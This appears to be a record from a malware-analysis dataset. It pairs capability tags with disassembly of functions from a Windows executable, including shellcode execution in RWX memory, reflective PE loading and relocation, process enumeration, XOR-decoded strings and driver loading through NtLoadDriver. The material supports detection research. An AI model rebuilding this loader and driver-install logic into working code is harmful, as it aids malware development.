joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14004f2c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rdi
sub rsp, 0x50
mov rax, qword [0x140130138]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor eax, eax
mov dword [rsp + 0x2c], edx
mov edx, 0x1000
mov dword [rsp + 0x28], ecx
xor ecx, ecx
mov dword [rsp + 0x20], eax
mov r8d, edx
mov dword [rsp + 0x30], eax
lea r9d, [rax + 0x40]
mov qword [rsp + 0x34], 0x4001
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x14004f31f
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400bbe80
add rsp, 0x50
pop rdi
ret
movups xmm0, xmmword [0x14014a2a0]
mov r8d, Ordinal_41
mov qword [rsp + 0x70], rbx
lea rdx, [rsp + 0x20]
movups xmmword [rax], xmm0
movsd xmm1, qword [0x14014a2b0]
lea ecx, [r8 - 0x27]
movsd qword [rax + 0x10], xmm1
mov eax, dword [0x14014a2b8]
mov dword [rdi + 0x18], eax
movzx eax, word [0x14014a2bc]
mov word [rdi + 0x1c], ax
call rdi
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
mov ebx, eax
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test ebx, ebx
mov rbx, qword [rsp + 0x70]
setg al
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400bbe80
add rsp, 0x50
pop rdi
ret
Function at 0x140052190
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x160
mov rax, qword [0x140130138]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor edx, edx
mov dword [rsp + 0x20], 0x130
mov rdi, rcx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140052261
lea rdx, [rsp + 0x20]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
lea rax, [rsp + 0x4c]
mov r8, rdi
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140052203
inc rax
test ecx, ecx
jne 0x1400521f0
test edx, edx
je 0x140052265
lea rdx, [rsp + 0x20]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x140052258
nop dword [rax + rax]
lea rax, [rsp + 0x4c]
mov r8, rdi
sub r8, rax
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140052243
inc rax
test ecx, ecx
jne 0x140052230
test edx, edx
je 0x140052265
lea rdx, [rsp + 0x20]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140052220
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140052272
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400bbe80
mov rbx, qword [rsp + 0x170]
add rsp, 0x160
pop rdi
ret
Function at 0x140054840
Capabilities:
Parse pe header
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov rax, qword [0x140130138]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rdi, rdx
mov rbx, rcx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], rdx
xor eax, eax
mov qword [rcx], rax
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], rax
mov qword [rcx + 0x20], rax
mov qword [rcx + 0x28], rax
cmp rcx, rdx
je 0x1400548d0
mov rsi, qword [rdx + 8]
mov r14, qword [rdx]
sub rsi, r14
mov ebp, eax
sub rax, rax
cmp rsi, rax
jbe 0x1400548ae
mov rdx, rsi
call fcn.1400549c0
mov rbp, qword [rbx]
mov r8, rsi
mov rdx, r14
mov rcx, rbp
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsi + rbp]
mov qword [rbx + 8], rax
nop dword [rax]
nop dword [rax + rax]
mov rdx, qword [rbx]
mov qword [rbx + 0x30], rdx
movsxd rcx, dword [rdx + 0x3c]
add rcx, rdx
mov qword [rbx + 0x38], rcx
mov eax, 0x5a4d
cmp word [rdx], ax
jne 0x14005492a
cmp dword [rcx], 0x4550
jne 0x14005492a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14005492a
mov rcx, rdi
call fcn.140050ba0
mov rax, rbx
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400bbe80
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x20]
call fcn.1400549b0
movzx edx, byte [rax + 1]
test dl, dl
je 0x140054951
xor byte [rax], 0x33
xor dl, 0x34
mov byte [rax + 1], dl
mov rdx, rax
mov rcx, r8
call fcn.140010f30
lea rdx, [0x140011100]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x140054bf0
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
push r14
push r15
mov rbx, qword [rcx + 0x38]
mov r9, rdx
xor r8d, r8d
mov r14, rcx
mov rax, qword [rbx + 0xb0]
lea rdx, [rbx + 0x18]
movzx r10d, word [rbx + 6]
mov qword [rsp + 0x20], rax
dec r10d
mov r11d, eax
movzx eax, word [rbx + 0x14]
add rdx, rax
test r10d, r10d
jle 0x140054c44
nop
mov eax, dword [rdx + 0x34]
cmp r11, rax
jb 0x140054c44
inc r8d
add rdx, 0x28
cmp r8d, r10d
jl 0x140054c30
mov r15d, dword [rdx + 0x14]
xor esi, esi
mov eax, dword [rdx + 0xc]
sub r15, rax
add r15, r11
sub r9, qword [rbx + 0x30]
je 0x140054d51
mov eax, dword [rsp + 0x24]
test eax, eax
je 0x140054d51
mov qword [rsp + 0x28], rbp
mov ebp, eax
mov qword [rsp + 0x30], rdi
nop word [rax + rax]
mov rcx, qword [r14 + 0x38]
xor r8d, r8d
mov rbx, qword [r14]
add rbx, rsi
movzx eax, word [rcx + 0x14]
lea rdx, [rcx + 0x18]
movzx r10d, word [rcx + 6]
add rdx, rax
mov r11d, dword [rbx + r15]
dec r10d
test r10d, r10d
jle 0x140054cc4
nop dword [rax]
mov eax, dword [rdx + 0x34]
cmp r11, rax
jb 0x140054cc4
inc r8d
add rdx, 0x28
cmp r8d, r10d
jl 0x140054cb0
mov edi, dword [rdx + 0x14]
lea r10, [r15 + 8]
mov eax, dword [rdx + 0xc]
lea r10, [r10 + rbx]
mov r8d, dword [rbx + r15 + 4]
sub rdi, rax
add rdi, r11
add rsi, 8
sub r8, 8
shr r8, 1
je 0x140054d3e
lea rsi, [rsi + r8*2]
nop
movzx ecx, word [r10]
mov eax, ecx
movzx edx, cx
and eax, 0xfff
shr edx, 0xc
add rax, qword [r14]
add rax, rdi
test edx, edx
je 0x140054d34
sub edx, 1
je 0x140054d2a
sub edx, 1
je 0x140054d24
sub edx, 1
je 0x140054d1f
cmp edx, 7
jne 0x140054d34
add qword [rax], r9
jmp 0x140054d34
add word [rax], r9w
jmp 0x140054d34
mov rcx, r9
shr rcx, 0x10
add word [rax], cx
add r10, 2
sub r8, 1
jne 0x140054cf0
cmp rsi, rbp
jb 0x140054c80
mov rdi, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
pop r15
pop r14
pop rsi
ret
Function at 0x140054d60
Capabilities:
Enumerate pe sections
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov r15, rdx
mov rsi, rcx
mov qword [rsp + 0x20], rdx
mov r8, qword [rcx + 0x38]
mov r10d, dword [r8 + 0x90]
movzx eax, word [r8 + 0x14]
lea r9, [r8 + 0x18]
add r9, rax
xor edx, edx
movzx ecx, word [r8 + 6]
dec ecx
test ecx, ecx
jle 0x140054db3
nop
mov eax, dword [r9 + 0x34]
cmp r10, rax
jb 0x140054db3
inc edx
add r9, 0x28
cmp edx, ecx
jl 0x140054da0
mov r14d, dword [r9 + 0x14]
mov eax, dword [r9 + 0xc]
sub r14, rax
add r14, r10
add r14, qword [rsi]
mov eax, dword [r14 + 0xc]
test eax, eax
je 0x140054f42
mov r11d, eax
mov rcx, qword [rsi + 0x38]
movzx eax, word [rcx + 0x14]
lea r10, [rcx + 0x18]
add r10, rax
mov rdx, r10
xor r8d, r8d
movzx r9d, word [rcx + 6]
dec r9d
test r9d, r9d
jle 0x140054e09
mov eax, dword [rdx + 0x34]
cmp r11, rax
jb 0x140054e09
inc r8d
add rdx, 0x28
cmp r8d, r9d
jl 0x140054df5
mov ebp, dword [rdx + 0x14]
mov eax, dword [rdx + 0xc]
sub rbp, rax
add rbp, r11
mov r11, qword [rsi]
add rbp, r11
mov r8d, dword [r14 + 0x10]
mov rcx, r10
xor edx, edx
test r9d, r9d
jle 0x140054e43
nop dword [rax]
mov eax, dword [rcx + 0x34]
cmp r8, rax
jb 0x140054e43
inc edx
add rcx, 0x28
cmp edx, r9d
jl 0x140054e30
mov edi, dword [rcx + 0x14]
mov eax, dword [rcx + 0xc]
sub rdi, rax
add rdi, r11
add rdi, r8
mov eax, dword [r14]
test eax, eax
je 0x140054e89
mov edx, eax
xor ecx, ecx
test r9d, r9d
jle 0x140054e76
mov eax, dword [r10 + 0x34]
cmp rdx, rax
jb 0x140054e76
inc ecx
add r10, 0x28
cmp ecx, r9d
jl 0x140054e62
mov ebx, dword [r10 + 0x14]
mov eax, dword [r10 + 0xc]
sub rbx, rax
add rbx, r11
add rbx, rdx
jmp 0x140054e8c
mov rbx, rdi
mov r9, qword [rbx]
test r9, r9
je 0x140054f30
nop dword [rax + rax]
mov rax, r9
not rax
test rax, rax
jns 0x140054f39
mov rcx, qword [rsi + 0x38]
movzx eax, word [rcx + 0x14]
add rax, 0x18
add rax, rcx
xor edx, edx
movzx r8d, word [rcx + 6]
dec r8d
test r8d, r8d
jle 0x140054ee3
nop dword [rax]
mov ecx, dword [rax + 0x34]
cmp r9, rcx
jb 0x140054ee3
inc edx
add rax, 0x28
cmp edx, r8d
jl 0x140054ed0
mov edx, dword [rax + 0x14]
mov ecx, dword [rax + 0xc]
sub rdx, rcx
lea rax, [rdx + 2]
add rax, r9
add rax, qword [rsi]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rbp
mov rcx, qword [r15 + 0x38]
test rcx, rcx
je 0x140054f73
mov rax, qword [rcx]
lea r8, [rsp + 0x28]
lea rdx, [rsp + 0x30]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rdi], rax
add rbx, 8
add rdi, 8
mov r9, qword [rbx]
test r9, r9
jne 0x140054ea0
add r14, 0x14
jmp 0x140054dc4
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov rcx, qword [r15 + 0x38]
test rcx, rcx
je 0x140054f5f
mov rax, qword [rcx]
cmp rcx, r15
setne dl
call qword [rax + reloc.WLDAP32.dll_Ordinal_32]
mov qword [r15 + 0x38], 0
mov rbx, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call sub.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_
nop
int3
Function at 0x140054f80
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push rbx
sub rsp, 0x60
movups xmm0, xmmword [0x1400c9a38]
xor r10d, r10d
mov rbx, rcx
pextrw eax, xmm0, 7
movups xmmword [rsp + 0x40], xmm0
test ax, ax
je 0x1400550ee
cmp dword [reloc.WS2_32.dll_accept], 2
mov r8d, r10d
jl 0x1400550b2
movdqa xmm2, xmmword [0x14011ea10]
mov eax, 4
movdqa xmm3, xmmword [0x14011ea20]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400c9a20]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movaps xmmword [rsp + 0x50], xmm6
movd xmm6, eax
mov eax, Ordinal_33
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movd xmm5, eax
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.4444]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [0x1400c9a38]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
paddw xmm2, xmmword [str.22222222]
pxor xmm2, xmm0
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movq qword [rsp + 0x40], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movaps xmm6, xmmword [rsp + 0x50]
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.4444]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x48]
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.22222222]
pxor xmm2, xmm0
movq qword [rsp + 0x48], xmm2
jmp 0x1400550ee
lea r9, [rsp + 0x40]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 2]
mul r8d
shr edx, 4
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x32
xor word [r9 - 2], ax
cmp r8d, 8
jl 0x1400550c0
mov qword [rsp + 0x30], r10
lea rcx, [rsp + 0x40]
xor r9d, r9d
mov dword [rsp + 0x28], r10d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbx], rax
cmp rax, 0xffffffffffffffff
jne 0x140055129
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rax, rbx
add rsp, 0x60
pop rbx
ret
Function at 0x140055160
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x140130138]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rsi, rdx
xor edi, edi
mov dword [rsp + 0x24], edi
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rdi
lea r9, [rsp + 0x24]
xor r8d, r8d
xor edx, edx
lea ecx, [rdi + 0xb]
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
jne 0x14005524a
nop dword [rax + rax]
mov edx, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x30]
mov r8, rcx
mov r10, qword [rsp + 0x28]
sub r8, r10
cmp rdx, r8
jae 0x1400551e4
lea rcx, [rdx + r10]
mov qword [rsp + 0x30], rcx
jmp 0x140055227
jbe 0x140055227
mov rax, qword [rsp + 0x38]
sub rax, r10
cmp rdx, rax
jbe 0x140055209
lea r8, [rsp + 0x20]
lea rcx, [rsp + 0x28]
call fcn.1400546e0
mov rcx, qword [rsp + 0x30]
jmp 0x140055222
sub rdx, r8
lea rbx, [rcx + rdx]
mov r8, rdx
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, rbx
mov qword [rsp + 0x30], rbx
mov r10, qword [rsp + 0x28]
sub rcx, r10
lea r9, [rsp + 0x24]
mov r8d, ecx
mov rdx, r10
mov ecx, listen
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
je 0x1400551c0
mov r11, qword [rsp + 0x28]
test eax, eax
js 0x14005529f
lea r9, [r11 + 8]
mov r10d, edi
mov ebx, dword [r11]
test ebx, ebx
je 0x14005529f
movzx r8d, word [r9 + 0x26]
add r8, 0x28
add r8, r9
mov rax, rsi
sub r8, rsi
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140055286
inc rax
test ecx, ecx
jne 0x140055273
test edx, edx
je 0x14005529b
inc r10d
add r9, 0x128
cmp r10d, ebx
jb 0x140055261
jmp 0x14005529f
mov rdi, qword [r9 + 0x10]
test r11, r11
je 0x1400552dc
mov rdx, qword [rsp + 0x38]
sub rdx, r11
mov rax, r11
cmp rdx, 0x1000
jb 0x1400552d4
add rdx, 0x27
mov r11, qword [r11 - 8]
sub rax, r11
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400552d4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r11
call fcn.1400bbea0
mov rax, rdi
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400bbe80
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x140055300
Capabilities:
Parse pe header

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r13
push r14
push r15
sub rsp, 0x190
mov rax, qword [0x140130138]
xor rax, rsp
mov qword [rsp + 0x180], rax
mov r14, r8
mov rbp, rdx
mov rdx, r14
lea r8, [rsp + 0x30]
mov r9d, 0x40
mov rdi, rcx
call fcn.1400554c0
mov eax, 0x5a4d
cmp word [rsp + 0x30], ax
jne 0x1400554ae
movsxd rdx, dword [rsp + 0x6c]
lea r8, [rsp + 0x70]
add rdx, r14
mov r9d, 0x108
mov rcx, rdi
call fcn.1400554c0
cmp dword [rsp + 0x70], 0x4550
jne 0x1400554ae
mov eax, 0x20b
cmp word [rsp + 0x88], ax
jne 0x1400554ae
mov rbx, qword [rsp + 0xf8]
xor ecx, ecx
mov rdx, rbx
mov qword [rsp + 0x20], rbx
shr rdx, 0x20
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r13d, dword [rsp + 0x24]
mov rcx, rdi
mov r15d, ebx
mov r9d, r13d
mov r8, rax
mov rsi, rax
lea rdx, [r15 + r14]
call fcn.1400554c0
test rsi, rsi
je 0x1400554ae
mov r10d, dword [rsi + 0x20]
mov r11, rsi
mov edi, dword [rsi + 0x24]
sub r11, r15
mov ebx, dword [rsi + 0x18]
add r10, r11
mov qword [rsp + 0x1d8], r12
add rdi, r11
mov r12d, dword [rsi + 0x1c]
xor r9d, r9d
add r12, r11
test rbx, rbx
je 0x140055443
nop word [rax + rax]
mov r8d, dword [r10]
mov rax, rbp
add r8, r11
sub r8, rbp
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140055433
inc rax
test ecx, ecx
jne 0x140055420
test edx, edx
je 0x140055480
inc r9
add r10, 4
cmp r9, rbx
jb 0x140055410
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov r12, qword [rsp + 0x1d8]
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.1400bbe80
add rsp, 0x190
pop r15
pop r14
pop r13
pop rdi
pop rsi
pop rbp
pop rbx
ret
movzx eax, word [rdi + r9*2]
mov ebx, dword [r12 + rax*4]
cmp rbx, r15
jb 0x140055497
lea rax, [r15 + r13]
cmp rbx, rax
jbe 0x140055443
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rax, [r14 + rbx]
jmp 0x140055456
xor eax, eax
jmp 0x14005545e
Function at 0x140055e60
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140130138]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140055f33
cmp byte [rcx + 0x71], 0
je 0x140055f33
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + Ordinal_26]
cmp eax, 0xffffffff
je 0x140055f2f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140055ef4
sub eax, 1
je 0x140055ef8
cmp eax, 2
jne 0x140055f2f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400bbe80
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140055f26
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140055f2f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x140055edc
xor al, al
jmp 0x140055edc
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400bbe80
add rsp, 0x60
pop rbx
ret

Function at 0x140056050
Capabilities:
Delete file

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x140130138]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rbx, rcx
call fcn.140056d50
test al, al
je 0x14005611c
cmp qword [rbx + 0x38], 8
lea rdx, [rbx + 0x20]
jb 0x140056090
mov rcx, qword [rdx + 0x10]
mov rax, qword [rdx]
mov rdx, rax
lea r8, [rax + rcx*2]
jmp 0x140056098
mov rax, qword [rdx + 0x10]
lea r8, [rdx + rax*2]
lea r9, [rsp + 0x20]
lea rcx, [rsp + 0x28]
call fcn.140010cb0
cmp qword [rsp + 0x40], 0x10
lea rcx, [rsp + 0x28]
cmovae rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rdx, qword [rsp + 0x40]
test eax, eax
setne bl
cmp rdx, 0x10
jb 0x140056103
mov rcx, qword [rsp + 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400560fe
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400560fe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bbea0
test bl, bl
je 0x14005611c
mov al, 1
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400bbe80
add rsp, 0x50
pop rbx
ret
xor al, al
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400bbe80
add rsp, 0x50
pop rbx
ret
Function at 0x1400573e0
Capabilities:
Install driver

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140130138]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov rbx, rcx
call fcn.1400561f0
test al, al
je 0x1400574bf
mov rcx, rbx
call fcn.140056570
test al, al
je 0x1400574bf
mov rcx, rbx
call fcn.140057060
test al, al
je 0x1400574bf
mov r8, rbx
lea rdx, str._registrymachineSYSTEMCurrentControlSetServices_
lea rcx, [rsp + 0x20]
call fcn.1400556d0
cmp qword [rsp + 0x38], 8
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
cmovae rdx, qword [rsp + 0x20]
call sub.ntdll.dll_RtlInitUnicodeString
lea rcx, [rsp + 0x40]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
mov rdx, qword [rsp + 0x38]
test eax, eax
setns bl
cmp rdx, 8
jb 0x1400574a9
mov rcx, qword [rsp + 0x20]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400574a4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400574a4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bbea0
movzx eax, bl
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1400bbe80
add rsp, 0x60
pop rbx
ret
xor al, al
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1400bbe80
add rsp, 0x60
pop rbx
ret
Function at 0x1400574e0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140130138]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14005750d
xor eax, eax
jmp 0x140057662
mov rdx, qword [rcx + 0x40]
mov rax, qword [rdx]
test rax, rax
je 0x140057538
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
add r8, rax
cmp rax, r8
jae 0x140057538
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
mov byte [rax], dil
mov eax, edi
jmp 0x140057662
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140057655
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x14005757b
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400575a6
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14005765a
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140057615
sub eax, 1
je 0x140057615
cmp eax, 2
jne 0x140057655
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14005765a
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140057643
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140057655
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov eax, edi
jne 0x14005765a
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400bbe80
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret